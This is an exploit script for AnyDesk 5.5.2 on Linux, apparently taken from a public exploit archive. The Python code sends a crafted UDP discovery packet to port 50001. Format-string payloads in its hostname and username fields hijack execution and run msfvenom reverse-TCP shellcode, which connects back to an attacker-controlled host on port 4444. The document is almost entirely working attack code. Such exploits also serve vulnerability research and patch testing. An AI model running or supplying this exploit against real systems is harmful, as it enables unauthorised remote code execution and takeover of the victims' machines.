AnyDesk 5.5.2 Remote Code Execution

`# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution  
# Date: 09/06/20  
# Exploit Author: scryh  
# Vendor Homepage: https://anydesk.com/en  
# Version: 5.5.2  
# Tested on: Linux  
# Walkthrough: https://devel0pment.de/?p=1881  
  
#!/usr/bin/env python  
import struct  
import socket  
import sys  
  
ip = '192.168.x.x'  
port = 50001  
  
def gen_discover_packet(ad_id, os, hn, user, inf, func):  
d = chr(0x3e)+chr(0xd1)+chr(0x1)  
d += struct.pack('>I', ad_id)  
d += struct.pack('>I', 0)  
d += chr(0x2)+chr(os)  
d += struct.pack('>I', len(hn)) + hn  
d += struct.pack('>I', len(user)) + user  
d += struct.pack('>I', 0)  
d += struct.pack('>I', len(inf)) + inf  
d += chr(0)  
d += struct.pack('>I', len(func)) + func  
d += chr(0x2)+chr(0xc3)+chr(0x51)  
return d  
  
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode  
shellcode = b""  
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"  
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40"  
shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d"  
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87"  
shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42"  
shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9"  
shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7"  
shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d"  
shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43"  
shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69"  
shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb"  
  
print('sending payload ...')  
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.sendto(p, (ip, port))  
s.close()  
print('reverse shell should connect within 5 seconds')  
  
`